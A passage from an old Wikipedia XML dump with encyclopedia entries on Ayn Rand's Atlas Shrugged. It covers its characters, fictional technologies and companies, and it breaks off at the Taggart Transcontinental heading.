An unnamed employee working on the [[Things in Atlas Shrugged#Taggart Comet|Taggart Comet]] train. ''Dagny Taggart'' hears Brakeman whistling the theme of a concerto. When she asks him what piece it is from, he says it is [[Things in Atlas Shrugged#Halley's Fifth Concerto|Halley's Fifth Concerto]]. When Dagny points out that ''Richard Halley'' only wrote four concertos, Brakeman claims he made a mistake and he doesn't recall where he heard the piece.

Later, after Dagny instructs the train crew how to proceed, he asks a co-worker who she is, and learns she is the one who runs [[Companies in Atlas Shrugged#Taggart Transcontinental|Taggart Transcontinental]].

It is later discovered that the unknown brakeman is one of the strikers, when Dagny meets him in the valley. Brakeman appears in [[Structure of Atlas Shrugged|sections]] 112 and 113.

==Cherryl Brooks==
Dime store shopgirl who marries James Taggart after a chance encounter in her store the night the John Galt Line was deemed his greatest success.  She marries him thinking he is the heroic person behind Taggart Transcontinental. She is horrible to Dagny until the night before she commits suicide, when she confesses to Dagny that she married Jim, thinking she was marrying Dagny. Like Eddie Willers, Cherryl is one representation of a &quot;good&quot; person who lacks the extraordinary capacities of the primary heroes of the novel.

==Claude Slagenhop==
The president of political organization [[Characters in Atlas Shrugged|Friends of Global Progress]] (which is supported by ''Philip Rearden''), and one of ''Lillian Rearden's'' friends. He believes that ideas are just air, that this is no time for talk, but for action. He is not bothered by the fact that action unguided by ideas is random and pointless. Global Progress is a sponsor of the [[Things in Atlas Shrugged|Equalization of Opportunity Bill]]. Claude Slagenhop appears in [[Structure of Atlas Shrugged|section]] 161.
==Cuffy Meigs==
A looter who's assigned by Wesley Mouch to keep watch over the workings of ''Taggart Transcontinental,'' and later assumes control over the company after Dagny Taggart leaves. He carries a pistol and a lucky rabbit's foot, he dresses in a military uniform. The &quot;intellectual heir&quot; of Dr. Robert Stadler, Meigs comes to a fitting end at the hands of ''Project X.''

==Dagny Taggart==
The main character in Atlas Shrugged (also the name of her namesake ''Mrs. Nathaniel Taggart''). Dagny is Vice-President in Charge of Operation at Taggart Transcontinental.  She is the female hero, the counterpart to John Galt, her journey is the journey of the reader exploring and understanding Galts philosophy. Those in the know understand that she is the one who really runs the railroad. In the course of the novel, she forms romantic liaisons with three men of ability. Francisco, Hank Rearden and John Galt in order. John is the one who, because of the sum-total of his qualities, will become the choice of Dagny. Dagny appears in [[Structure of Atlas Shrugged|sections]] 112, 113, 114, 132, 133, 141, 145, 146, 147, 148, 151, 152, and 161.

==Dan Conway==
The middle-aged president of the [[Companies in Atlas Shrugged|Phoenix-Durango]] railroad. Running a railroad is just about the only thing he knows. When the [[Things in Atlas Shrugged|Anti-dog-eat-dog Rule]] is used to drive his business out of [[Places in Atlas Shrugged|Colorado]], he loses the will to fight, and resigns himself to a quiet life of books and fishing. He claims that somebody had to be sacrificed, it turned out to be him, and he has no right to complain, bowing to the will of the majority. When pressed he says he doesn't really believe this is right, but he can't understand why it is wrong and what the alternative might be. He is trapped by a moral code that makes him a willing victim, and rather than challenge that morality, he simply gives up. Dan Conway appears in [[Structure of Atlas Shrugged|sections]] 145 and 146, and is mentioned in section 148.
==Dick McNamara==
A contractor who finished the [[Things in Atlas Shrugged|San Sebastian Line]] and who is hired to lay the new [[Technology in Atlas Shrugged|Rearden Metal]] track for the [[Things in Atlas Shrugged|Rio Norte Line]]. Before he gets a chance to do so, he mysteriously disappears. Dick McNamara is mentioned in [[Structure of Atlas Shrugged|sections]] 133 and 141.
==Eddie Willers==
Special Assistant to the Vice-President in Charge of Operation at Taggart Transcontinental. He grew up with ''Dagny Taggart''. His father and grandfather worked for the Taggarts, and he followed in their footsteps. He is completely loyal to Dagny and to [[Companies in Atlas Shrugged|Taggart Transcontinental]]. He is also secretly in love with Dagny. Willers is generally assumed to represent the common man: someone who does not possess the promethian creative ability of The Strikers, but nevertheless matches them in moral courage and is capable of appreciating and making use of their creations. Eddie Willers appears in [[Structure of Atlas Shrugged|sections]] 111, 114, 117, 132, 133, 141, 151, and 152.

==Ellis Wyatt==
The head of [[Companies in Atlas Shrugged|Wyatt Oil]]. He has almost single-handedly revived the economy of [[Places in Atlas Shrugged|Colorado]] by discovering oil there. Of all the disappearances of industrialists in the novel, Wyatt's, involving the fiery destruction of his oil wells, is surely the most dramatic. Ellis Wyatt is mentioned or appears in [[Structure of Atlas Shrugged|sections]] 111, 114, 132, 146, 147, 148, and 152.

==Francisco d'Anconia==
One of the central characters in [[Atlas Shrugged]]. By all accounts, he is a worthless millionaire playboy, owner by inheritance of the world's largest copper mining empire, the man behind the [[Things in Atlas Shrugged|San Sebastian Mines]], and a childhood friend and first love of ''Dagny Taggart''.

Francisco began working on the sly as a teenager in order to learn all he could about business. While still a student at [[Things in Atlas Shrugged|Patrick Henry University]], he began working at a copper foundry, and investing in the stock market. By the time he was twenty he had made enough to purchase the foundry. He began working for [[Companies in Atlas Shrugged|d'Anconia Copper]] as assistant superintendent of a mine in Montana, but was quickly promoted to head of the New York office. He took over d'Anconia Copper at age 23, after the death of his father.

When he was 26, Francisco secretly joined the ''Strikers'' and began to slowly destroy the d'Anconia empire so the ''Looters'' could not get it. He adopted the persona of a worthless playboy, by which he is known to the world, as an effective cover.

His full name is Francisco Domingo Carlos Andres Sebastian d'Anconia.

''According to [mailto:areed2@calstatela.edu Adam Reed] ([http://www.monmouth.com/~adamreed/Ayn_Rands_jewish_years/Who_is_Francisco_DAnconia.html Who is Francisco D'Anconia?]), d'Anconia is the only Hero-class character who is recognizably Jewish (not in the religious, but in the historical sense, like Ayn Rand herself).'' Francisco D'Anconia appears or is mentioned in [[Structure of Atlas Shrugged|sections]] 132, 141, 144, 151, and 152 - this last section includes a detailed history of his life.
==Hank Rearden==
One of the central characters in [[Atlas Shrugged]]. He is the founder of [[Companies in Atlas Shrugged|Rearden Steel]] and the inventor of [[Technology in Atlas Shrugged|Rearden Metal]]. He lives in [[Places in Atlas Shrugged|Philadelphia]] with his wife ''Lillian'', his brother ''Philip'', and an elderly woman known only as ''Rearden's Mother'', all of whom he supports. [[Gwen Ives]] is his secretary.

The character of Hank Rearden has two important roles to play in the novel. First, he is in the same position as the reader in that he is aware that there is something wrong with the world but is not sure what it is. Rearden is guided toward an understanding of the solution through his friendship with ''Francisco d'Anconia'', who does know the secret, and by this mechanism the reader is also prepared to understand the secret when it is revealed explicitly in [[Atlas Shrugged/Galts Speech|Galt's Speech]]. 

Second, Rearden is used to illustrate Rand's [[Concepts in Atlas Shrugged|theory of sex]]. ''Lillian Rearden'' cannot appreciate Hank Rearden's virtues, and she is portrayed as being disgusted by sex. ''Dagny Taggart'' clearly does appreciate Rearden's virtues, and this appreciation evolves into a sexual desire. Rearden is torn by a contradiction because he accepts the premises of the traditional view of sex as a lower instinct, while responding sexually to Dagny, who represents his highest values. Rearden struggles to resolve this internal conflict and in doing so illustrates Rand's sexual theory. Rearden appears in [[Structure of Atlas Shrugged|sections]] 121, 132, 147, and 161, and is mentioned in sections 114 and 131.

==Hugh Akston==
Identified as &quot;One of the last great advocates of reason.&quot; He was a renowned philosopher and the head of the Department of Philosophy at [[Things in Atlas Shrugged|Patrick Henry University]], where he taught ''Francisco d'Anconia'', ''John Galt'', and ''Ragnar Danneskjöld''. He was, along with ''Robert Stadler'', a father figure to these three. Akston's name is so hallowed that a young lady, on hearing that Francisco had studied under him, is shocked. She thought he must have been one of those great names from an earlier century. Hugh Akston is mentioned in [[Structure of Atlas Shrugged|section]] 161.
==James Taggart==
The President of [[Companies in Atlas Shrugged|Taggart Transcontinental]] and a leader of the ''Looters''. Taggart is an expert influence peddler who is incapable of making decisions on his own. He relies on his sister ''Dagny Taggart'' to actually run the railroad, but nonetheless opposes her in almost every endeavor. In a sense, he is the antithesis of Dagny.

As the novel progresses, the moral philosophy of the Looters is revealed: it is a code of [[nihilism]]. The goal of this code is to not exist, to become a zero. Taggart struggles to remain unaware that this is his goal. He maintains his pretence that he wants to live, and becomes horrified whenever his mind starts to grasp the truth about himself. This contradiction leads to the recurring absurdity of his life: the desire to destroy those on whom his life depends, and the horror that he will succeed at this. James Taggart appears in [[Structure of Atlas Shrugged|sections]] 111, 114, 131, 132, 143, 144, 152 and 161, and is mentioned in [[Structure of Atlas Shrugged|sections]] 146 and 148.

==John Galt==
*The question &quot;[[Who is John Galt?]]&quot; is asked repeatedly throughout [[Atlas Shrugged]]. Late into the book we learn that '''John Galt''' is the man who stopped the motor of the world and the leader of the ''Strikers''. He is also the same character as the '''Mystery Worker'''.

The son of an [[Ohio]] garage mechanic, Galt left home at age 12 and began college at [[Things in Atlas Shrugged#Patrick Henry University|Patrick Henry University]] at age 16. There he befriended [[#Francisco d'Anconia|Francisco d'Anconia]] and [[#Ragnar Danneskjöld|Ragnar Danneskjöld]], all three of whom double-majored in [[physics]] and [[philosophy]]. They were the cherished students of the brilliant scientist [[#Robert Stadler|Robert Stadler]] and the brilliant philosopher [[#Hugh Akston|Hugh Akston]].

After graduating, Galt became an [[engineer]] at the [[Companies in Atlas Shrugged|Twentieth Century Motor Works]] where he designed a revolutionary new motor powered by ambient static electricity with the potential to change the world. Like [[#Ellis Wyatt|Ellis Wyatt]], he has created what many had for years said was impossible. When the company owners decided to run the factory by the collectivist maxim, 'By each according to his ability, to each according to his need', Galt organized a successful [[labor strike]], proclaiming his promise to stop the motor of the world.  He began traversing the globe, meeting the world's most successful businessmen, systematically convincing them to follow in his footsteps; one by one, they began abandoning their business empires (which, Galt convinced them, were doomed to failure anyhow, given the increased nationalization of industry by the government).

Secretly, these captains of industry, led by Galt and [[banker]] [[#Midas Mulligan|Midas Mulligan]], had created their own society &amp;mdash; a secret enclave of rational individualists living in &quot;[[Things in Atlas Shrugged#Galt's Gulch|Galt's Gulch]]&quot;, a town secluded high in a wilderness of mountains.  [[#Dagny Taggert|Dagny]] accidentally finds the town &amp;mdash; and a shocked John Galt &amp;mdash; by crash-landing a light [[aircraft]] while pursuing [[#Quentin Daniels|Quentin Daniels]].

Since everyone across the country is repeating the phrase, &quot;Who is John Galt?&quot;, it is natural that many people have attempted to answer that question. The phrase becomes an expression of helplessness and despair at the current state of the world. ''Dagny Taggart'' hears a number of [[Things in Atlas Shrugged#John Galt Legends|John Galt Legends]] before finding the real John Galt and eventually joining his cause, and learning that all of the stories have an element of truth to them.

:''There is a clothing store in [[Vail, Colorado]] called John Galt Ltd. One presumes that, on occasion, a customer unknowingly walks in and asks, &quot;Who is John Galt?&quot;''

==Lillian Rearden==
The wildly unsupportive wife of ''Hank Rearden''. They have been married eight years as the novel begins.

Lillian is a frigid ''Moocher'' who seeks to destroy her husband. She compares being Rearden's wife with owning the world's most powerful horse. Since she cannot comfortably ride a horse that goes too fast, she must bridle it down to her level, even if that means it will never reach its full potential and its power will be greviously wasted.

Lillian also serves to illustrate Rand's [[Concepts in Atlas Shrugged|Theory of sex]]. She believes sex is a base animal instinct and that sexual indulgence is a sign of moral weakness. She is incapable of feeling this kind of desire, which she believes testifies to her moral superiority. However, according to the theory of sex Lillian's lack of sexual capacity results from her inability to experience value in herself; she is therefore unable to respond sexually when she experiences value in others.

Lillian tolerates sex with her husband only because she is 'realistic' enough to know he is just a brute who requires satisfaction of his brute instincts. In [[Structure of Atlas Shrugged|section]] 161 she indicates that she abhors ''Francisco d'Anconia'', because she believes he is a sexual adventurer. Lillian Rearden appears in [[Structure of Atlas Shrugged|sections]] 121 and 161.

==The Looters==
A group of evil characters sometimes referred to as &quot;James Taggart and his friends&quot;. They are similar to the Moochers. The Looters consist of men and women who use force to obtain value from those who produce it. They seek to destroy the producers despite the fact that they are dependent upon them. The Looters include: Mr. Thompson, Balph Eubank, Floyd Ferris, James Taggart, Orren Boyle, Paul Larkin, Robert Stadler, Simon Pritchett, Wesley Mouch, and Cuffy Miegs. 
==Midas Mulligan==
A wealthy banker who mysteriously disappears in protest after he is given a court order to loan money to an incompetent loan applicant. Midas Mulligan is responsible for the creation and distribution of the money that is exclusively used in Galt's Gulch, and is the original owner of the land where Galt's Gulch is located. He is also responsible for the production of the money used there.
==The Moochers==
A group of characters, similar to the ''Looters'', who use guilt as a weapon against those who produce value. They seek to destroy the producers despite the fact that they are dependent upon them. The Moochers include ''Lillian Rearden'', ''Philip Rearden'', and Hank Rearden's ''mother''.

==Mort Liddy==
A [[hack writer|hack]] composer who writes trite scores for movies and modern symphonies that no one listens to. He believes melody is a primitive vulgarity. He is one of ''Lillian Rearden's'' friends and a member of the cultural elite. Mort Liddy appears in [[Structure of Atlas Shrugged|section]] 161.

==Mr. Mowen==
The president of the [[Companies in Atlas Shrugged|Amalgamated Switch and Signal Company, Inc.]] of Connecticut. He is a businessman who sees nothing wrong with the moral code that is destroying society and would never dream of saying he is in business for any reason other than the good of society. He is unable to grapple with abstract issues, and is frightened of anything controversial. Dagny Taggart hires Mr. Mowen to produce switches made of [[Technology in Atlas Shrugged|Rearden Metal]]. He is reluctant to build anything with this unproven technology, and has to be ridden and cajoled before he is willing to accept the contract.  When pressured by public opinion, he discontinues production of the switches, forcing Dagny to find an alternative source. Mr. Mowen appears in [[Structure of Atlas Shrugged|section]] 171.

==Mystery Worker==
A menial worker for [[Companies in Atlas Shrugged|Taggart Transcontinental]] who often dines with ''Eddie Willers'' in the employee's cafeteria. Eddie finds him very easy to talk to, and Mystery Worker not-so-subtly leads him on so that Eddie reveals important information about ''Dagny Taggart'' and Taggart Transcontinental. Eddie tells him which suppliers and contractors Dagny is most dependent on, and with remarkable consistency, those are the next men to disappear mysteriously. Mystery Worker is actually John Galt. Mystery Worker appears in [[Structure of Atlas Shrugged|section]] 133.

==The unnamed newsstand owner==
He works in the Taggart Terminal. Twenty years ago he owned a cigarette factory but it went under, and he's been working at his newsstand ever since. He is a collector of cigarettes, and knows every brand ever made. He occasionally chats with ''Dagny Taggart'' when she comes by. On one occasion, in [[Structure of Atlas Shrugged|section]] 132, after Dagny asks him about his collection, he bemoans the fact that there are no new brands and the old brands are all disappearing. He examines a cigarette given to Dagny by ''Hugh Akston'', but it is a new brand that he has never seen before. It carries the sign of the dollar. In his first appearance, the Newsstand Owner likens the fire of a cigarette to the fire of the mind. This alludes to the Greek myth of Prometheus, who gave mankind the gift of fire, allowing it to raise itself up and become civilized. In [[Atlas Shrugged]], it is the mind of man that raises mankind. Thus the cigarettes become symbolic of the men of the mind. The disappearance of the old brands represents the disappearance of the men of the mind, and the Newsstand Owner's discovery of the new brand foreshadows Dagny's discovery of a new kind of men of the mind.

==Orren Boyle==
The head of [[Companies in Atlas Shrugged|Associated Steel]] and a friend of ''James Taggart''. He is one of the ''Looters''. He is an investor in the [[Things in Atlas Shrugged|San Sebastian Mines]]. Orren Boyle appears or is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 114, 131, 132, 144, and 152.
==Owen Kellogg==
Assistant to the Manager of the Taggart Terminal in [[Places in Atlas Shrugged|New York]]. He catches ''Dagny Taggart's'' eye as one of the few competent men on staff. After seeing the sorry state of the Ohio Division she decides to make him to its new Superintendent. However, as soon as she returns to [[Places in Atlas Shrugged|New York]], Kellogg informs her that he is quitting his job. He admits that he loves his work, but that's not enough to keep him. He won't say why he is leaving or what he will do. Later, he is noticed working as transient labor by the unsuccessful/unmotivated businessman ''Mr. Mowen''. Owen Kellog eventually reaches, and settles in Atlantis. Owen Kellogg appears in [[Structure of Atlas Shrugged|sections]] 112 and 114.

==Paul Larkin==
An unsuccessful, middle-aged businessman, a friend of the Rearden family, and a member of the ''Looters''. In [[Structure of Atlas Shrugged|section]] 121 Larkin visits [[Places in Atlas Shrugged|Philadelphia]] to warn ''Hank Rearden'' of possible trouble from [[Places in Atlas Shrugged|Washington]]. In [[Structure of Atlas Shrugged|section]] 131 he meets with the other Looters to work out a plan to bring Rearden down. James Taggart knows he is friends with Hank Rearden and challenges his loyalty, and Larkin assures Taggart that he will go along with them. Paul Larkin appears in [[Structure of Atlas Shrugged|sections]] 121, 132, and 2A1.
==Philip Rearden==
The younger brother of ''Hank Rearden'', and a ''Moocher''. He lives in his brother's home in [[Places in Atlas Shrugged|Philadelphia]] and is completely dependent on him. He believes that the source of his sustenance is evil and would love to see him destroyed. He has never had a career and spends his time perfunctorily working for various social groups.
He becomes resentful of his brother's charity. He then requests that he be granted a job from his brother because he should not have to be burdened by the feeling of inadequacy of not earning his own livelihood. When confronted by his brother on how this job should be a mutually beneficial arrangement, Philip shrugs the argument off as irrelevant and that the job should be entitled to him solely based on his need for money and the fact of familial ties. Philip Rearden appears in [[Structure of Atlas Shrugged|sections]] 121 and 161.

==Quentin Daniels==
An enterprising engineer hired by ''Dagny Taggart'' to reconstruct ''John Galt's'' motor.  Partway through this process, Quentin withdraws his effort for the same reasons John Galt himself had.  Dagny sets out to meet Quentin in hopes of convincing him to resume his work.  John Galt narrowly gets to him first.  Dagny's pursuit of Quentin leads her to &quot;[[Things in Atlas Shrugged#Galt's Gulch|Galt's Gulch]]&quot;

==Ragnar Danneskjöld==
One of the original ''Strikers''. He is now world famous as a pirate. Ragnar was from [[Places in Atlas Shrugged|Norway]], the son of a bishop and the scion of one of Norway's most ancient, noble families. He attended [[Things in Atlas Shrugged|Patrick Henry University]] and became friends with ''John Galt'' and ''Francisco d'Anconia'', while studying under ''Hugh Akston'' and ''Robert Stadler''.

Ragnar seizes relief ships that are being sent from the [[Places in Atlas Shrugged|United States]] to [[Places in Atlas Shrugged|Europe]]. No one knows what he does with the goods he seizes. As the novel progresses, Ragnar begins, for the first time, to become active in American waters, and is even spotted in [[Places in Atlas Shrugged|Delaware Bay]]. Reportedly, his ship is better than any available in the fleets of the world's navies. 

When he became a pirate, he was disowned and excommunicated. There is a price on his head in [[Places in Atlas Shrugged|Norway]], [[Places in Atlas Shrugged|Portugal]], [[Places in Atlas Shrugged|Turkey]]. 

According to Ayn Rand (verbal report), his name is a tribute to Victor Hugo.  In Hugo's first novel, ''Hans of Iceland'', the hero becomes the first of the Counts of Danneskjöld.  His name may be a pun on 'Dane's Gold', although &quot;skjöld&quot; means shield, not gold. Ragnar Danneskjöld appears in [[Structure of Atlas Shrugged|section]] 161.

==Rearden's mother==
Named Gertrude, she is a ''Moocher'' who lives with her son ''Hank Rearden'' at his home in [[Places in Atlas Shrugged|Philadelphia]]. She is involved in church-based charity work, and berates Rearden whenever she can. She insults him by saying he was always selfish, even as a child. She dotes on her weak son ''Philip Rearden''. Rearden's mother appears in [[Structure of Atlas Shrugged|section]] 121.

==Richard Halley==
Dagny Taggart's favorite composer, who mysteriously disappeared after the evening of his greatest triumph. In [[Structure of Atlas Shrugged|section]] 141 we learn that Richard Halley spent years as a struggling and unappreciated composer. At age 24 his opera ''Phaethon'' was performed for the first time, to an audience who booed and heckled it. (It was based on the [[Greek mythology|Greek myth]] in which [[Phaethon]] steals his father's chariot, and dies in an audacious attempt to drive the sun across the sky. Halley changed the story, though, into one of triumph, in which Phaethon succeeds.) For years Halley wrote in obscurity. After nineteen years, ''Phaethon'' was performed again, but this time it was received to the greatest ovation the opera house had ever heard. It appears his critics felt he had paid his dues long enough that he was at last worthy of their approval. The following day, Halley retired, sold the rights to his music, and disappeared. Richard Halley is mentioned in [[Structure of Atlas Shrugged|sections]] 112, 114, 133, and 141, and appears in [[Structure of Atlas Shrugged|section]] 152.
==Dr. Robert Stadler==
A former professor at Patrick Henry University, mentor to ''Francisco d'Anconia'', ''John Galt'' and ''Ragnar Danneskjöld''. He has since become a sell-out, one who had great promise but squandered it for social approval, to the detriment of the free. He works at the State Science Institute where all his inventions are perverted for use by the military, including the instrument of his demise: ''Project X.''
==Dr. Simon Pritchett==
The prestigious head of the Department of Philosophy at [[Things in Atlas Shrugged|Patrick Henry University]] and is considered the leading philosopher of the age. He is also a ''Looter''. He is certainly representative of the philosophy of the age - he is a crude reductionist who believes man is nothing but a collection of chemicals; he believes there are no standards, that definitions are fluid, reason is a superstition, that it is futile to seek meaning in life, and that the duty of a philosopher is to show that nothing can be understood. He explains all this in his book ''The Metaphysical Contradictions of the Universe'', and at cocktail parties. Dr. Pritchett appears in [[Structure of Atlas Shrugged|section]] 161.
==The Strikers==
People of the mind who go on strike because they do not appreciate being exploited by ''the Looters'' and demonized by a society who depends on them for its very existence. The leader of the Strikers is ''John Galt''. Other Strikers include: Hugh Akston, Francisco d'Anconia, Ragnar Danneskjöld, Richard Halley, and the Brakeman. Characters who join the Strikers in the course of the book include: Dagny Taggart, Ellis Wyatt, Hank Rearden, Dick McNamara, and Owen Kellogg.
==Mr. Thompson==
The &quot;[[Head of State|Head of the State]],&quot; which essentially means that he's the [[President of the United States]], though he's never specifically referred to as such. In the world of ''Atlas Shrugged'' all Presidents and Prime Ministers are referred to simply as &quot;Head of the State&quot; and &quot;Mr. ____.&quot; This is because countries have been standardized as &quot;People's States&quot; which seem to share a common form of government. Thomspon's title can thus be seen as reflecting the fact that the US is in the process of evolving into one of these &quot;People's States.&quot; One of the Looters, he's not particularly intelligent and has a very undistinguished look. He knows politics, however, and is a master of public relations and back-room deals. Rand's notes indicate that she modelled him on President [[Harry S. Truman]].

==Wesley Mouch==
A member of the ''Looters'' and, at the beginning of the storyline, the incompetent lobbyist whom ''Hank Rearden'' reluctantly employs in [[Places in Atlas Shrugged|Washington]]. Initially Wesley Mouch is the least powerful and least significant of the Looters - the other members of this group feel they can look down upon him with impunity. Eventually he becomes the most powerful Looter, and the [[Places in Atlas Shrugged|country's]] economic dictator, thereby illustrating Rand's belief that a government-run economy places too much power in the hands of incompetent bureaucrats who would never have positions of similar influence in a private sector business. Wesley Mouch appears in [[Structure of Atlas Shrugged|section]] 131 and is mentioned in section 161.

==See also==
*[[Minor characters in Atlas Shrugged]]

[[Category:Atlas Shrugged]]
[[Category:Lists of fictional characters|Atlas Shrugged characters]]</text>
    </revision>
  </page>
  <page>
    <title>Technology in Atlas Shrugged</title>
    <id>362</id>
    <revision>
      <id>33289648</id>
      <timestamp>2005-12-30T20:28:28Z</timestamp>
      <contributor>
        <username>Brianhe</username>
        <id>82697</id>
      </contributor>
      <comment>/* Galt's Motor */ prototype</comment>
      <text xml:space="preserve">'''Technology in Atlas Shrugged''', [[Ayn Rand]]'s novel includes a variety of technological products and devices.  In addition to real world technology ([[aircraft]], [[automobile]]s, [[diesel engine]]s, [[phonograph record]]s, [[radio]]s, [[telephone]]s, [[television]], and [[traffic signals]]) [[Atlas Shrugged]] also includes various fictional technologies or fictional variants on real inventions.

{{spoilers}}

==Fictional technology==
Fictional inventions mentioned in the book include refractor rays (Gulch mirage), Rearden Metal, a sonic [[death ray]] (&quot;Project X&quot;), voice activated door locks (Gulch power station), motors powered by [[static electricity]], palm-activated door locks (Galt's NY lab), shale-oil drilling, and a [[nerve]]-induction [[torture]] machine.
 
===Traffic Signals===
Early on, the book mentions the &quot;screech&quot; of a traffic signal as it changes. This implies the older technology of mechanical traffic signals, the kind which displayed a pennant or flag indicating stop or go, and the inverse indicator in the opposite direction. Traffic signals using lights have been around for over 40 years, so anything of this type is very old compared to today.

===Project X===
Project X is an invention of the scientists at the state science institute, requiring tons of Rearden Metal. Basically, it is a &quot;death ray&quot;, and is capable of destroying anything. The scientists claim that the project will be used to preserve peace and squash rebellion. It is destroyed towards the end of the book, and emits a pulse of radiation that destroys everything in the surrounding area, including Cuffy Meigs and Dr. Stadler, as well as the Taggart Bridge.

===Rearden Metal===
Rearden metal is a [[Fictional_chemical_substance#Fictional_compounds_and_alloys|fictitious metal]] alloy invented by [[Characters in Atlas_Shrugged|Hank Rearden]].  It is lighter than traditional [[steel]] but stronger, and is to steel what steel was to [[iron]].  It is described as greenish-blue.  Among its ingredients are iron and [[copper]].

Initially no one is willing to use Rearden metal because no one wants to stick his neck out and be the first to try it.  Finally, [[Characters in Atlas_Shrugged|Dagny Taggart]] places an order for Rearden Metal when she needs rails to rebuild the dying [[Things in Atlas_Shrugged|Rio Norte Line]].

The first thing made from Rearden metal is a [[Things in Atlas_Shrugged|bracelet]].

Rearden metal is mentioned in [[Structure of Atlas Shrugged|sections]] 114, 121, 131, 148 and 161.

===Galt's Motor===
John Galt invented a new type of electrical apparatus described in the book as a [[motor]].  However, it does not operate like a motor in the common use of the word today:  it is capable of harnessing, transforming and applying energy in many ways other than mechanical.  Galt's Motor was capable of [[Radio jamming|jamming]] all [[radio receiver]]s on Earth, and completely destroying the contents of Galt's [[booby-trap]]ped laboratory without causing [[collateral damage|collateral structural damage]].


Though Rand describes it as turning [[static electricity ]] into useful [[mechanical work]], its operation is more reminiscent of modern speculation about [[zero-point energy]].

Dagny discovers a discarded prototype of the motor and it is superficially described in [[Structure of Atlas Shrugged|section]] Part 1, Chapter 9.  Galt shows Dagny the motor and describes it in [[Structure of Atlas Shrugged|section]] Part 3, Chapter 1.


[[Category:Atlas Shrugged]]
[[Category:Fictional technology|Atlas Shrugged]]</text>
    </revision>
  </page>
  <page>
    <title>Companies in Atlas Shrugged</title>
    <id>364</id>
    <revision>
      <id>32287258</id>
      <timestamp>2005-12-21T22:16:51Z</timestamp>
      <contributor>
        <username>Topynate</username>
        <id>85137</id>
      </contributor>
      <comment>removed NPOV and irrelevant additions to Taggart Transcontinental</comment>
      <text xml:space="preserve">'''Companies in Atlas Shrugged''', the [[Ayn Rand]] [[novel]], generally, are  divided into two groups, these that are operated by sympathetic characters are given the name of the owner, while companies operated by evil or incompetent characters are given generic names.  In [[Atlas Shrugged]] men who give their names to their companies all become [[Characters in Atlas Shrugged|Strikers]] in due time.

==Amalgamated Switch and Signal==
A company run by [[Characters in Atlas Shrugged|Mr. Mowen]] and located in [[Places in Atlas_Shrugged|Connecticut]].  They have supplied Taggart Transcontinental for generations.  [[Characters in Atlas_Shrugged|Dagny Taggart]] orders [[Technology in Atlas_Shrugged|Rearden Metal]] switches from them.

Amalgamated Switch and Signal appears in [[Structure of Atlas Shrugged|section]] 171.

==Associated Steel==
Associated Steel is the company owned by [[Characters in Atlas_Shrugged|Orren Boyle]].  The company was started with just a few hundred-thousand dollars of [[Characters in Atlas Shrugged|Boyle's]] own money, and hundreds of millions of dollars in government grants.  Boyle used this money to buy out his competitors, and now relies on influence peddling and political favors to run his business.

Associated Steel is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 114, 131 and 171.

==Ayers Music Publishing Company==
Ayers Music Publishing Company is the publisher of the music of [[Characters in Atlas_Shrugged|Richard Halley]].  [[Characters in Atlas_Shrugged|Dagny Taggart]] contacts [[Characters in Atlas_Shrugged|Mr. Ayers]] to inquire as to the existence of [[Things in Atlas_Shrugged|Halley's Fifth Concerto]].

Ayers Music Publishing Company is mentioned in [[Structure of Atlas Shrugged|section]] 114.

==Barton and Jones==
The company, located in [[Places in Atlas_Shrugged|Denver]], that supplies food for the workers rebuilding the [[Things in Atlas_Shrugged|Rio Norte Line]].  They go bankrupt in the middle of the project.

Barton and James is mentioned in [[Structure of Atlas Shrugged|section]] 171.

==d'Anconia Copper==
A copper and mining company founded by [[Minor Characters in Atlas Shrugged|Sebastian d'Anconia]] in [[Places in Atlas_Shrugged|Argentina]] during the time of the Inquisition.  Each man who ran the company saw it grow by 10% in his lifetime, so by the time [[Characters in Atlas Shrugged|Francisco d'Anconia]] heads the company it is the largest in the world.  His dream, from childhood, is to increase the size of the company by 100%.

d'Anconia Copper is mentioned in [[Structure of Atlas Shrugged|sections]] 152 and 171.

==Hammond Motors==
A car company in Colorado.  They make the best cars on the market until the founder disappears.

[[Characters in Atlas_Shrugged|Hank Rearden]] buys a Hammond on his trip to [[Places in Atlas_Shrugged|Colorado]] in [[Structure of Atlas Shrugged|section]] 171.

==Incorporated Tool==
A company that is contracted to deliver drill heads to Taggart Transcontinental but who fail to do this.  It is mentioned in [[Structure of Atlas Shrugged|section]] 171.

==Phoenix-Durango==
The Phoenix-Durango is an old, small railroad located in the Southwest run by  [[Characters in Atlas_Shrugged|Dan Conway]] that has been insignificant for most of its existence.  However, the Phoenix-Durango grows rapidly when [[Characters in Atlas_Shrugged|Ellis Wyatt]] revives the economy of [[Places in Atlas_Shrugged|Colorado]] and Taggart Transcontinental's [[Things in Atlas_Shrugged|Rio Norte Line]] fails to service Wyatt adequately.  Later, [[Characters in Atlas_Shrugged|James Taggart]] conspires to get the Phoenix-Durango driven out of [[Places in Atlas_Shrugged|Colorado]] with the [[Things in Atlas_Shrugged|Anti-dog-eat-dog Rule]].

The Phoenix-Durango is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 114, 131 (alluded to), 132, 145, 146, 147 and 152.

==Rearden Coal==
A business founded by [[Characters in Atlas_Shrugged|Hank Rearden]] prior to the founding of Rearden Steel.  It is mentioned in [[Structure of Atlas Shrugged|section]] 121.

==Rearden Limestone==
A business founded by [[Characters in Atlas_Shrugged|Hank Rearden]] prior to the founding of Rearden Steel.  It is mentioned in [[Structure of Atlas Shrugged|section]] 121.

==Rearden Ore==
The first business founded by [[Characters in Atlas_Shrugged|Hank Rearden]].  It is mentioned in [[Structure of Atlas Shrugged|section]] 121.

==Rearden Steel==
A company founded by [[Characters in Atlas_Shrugged|Hank Rearden]] about ten years prior to the start of the story in the novel.  Rearden bought an abandoned steel mill in [[Places in Atlas_Shrugged|Philadelphia]] at a time when all the experts thought that such a venture would be hopeless.  He turned it into the most reliable and profitable steel company in the country.

As [[Characters in Atlas_Shrugged|Dagny Taggart]] struggles to save Taggart Transcontinental, she becomes increasingly dependent on Rearden Steel.

Rearden Steel is mentioned in [[Structure of Atlas Shrugged|sections]] 111, 114, 121, 131 (alluded to), 161 and 162.

==Summit Casting==
A company in [[Places in Atlas_Shrugged|Illinois]] under contract to deliver rail spikes to Taggart Transcontinental.  They go bankrupt before they can deliver, prompting [[Characters in Atlas_Shrugged|Dagny Taggart]] to fly to [[Places in Atlas_Shrugged|Chicago]] and buy the company to get it started again.

Summit Casting is mentioned in [[Structure of Atlas Shrugged|section]] 171.

==Taggart Transcontinental==
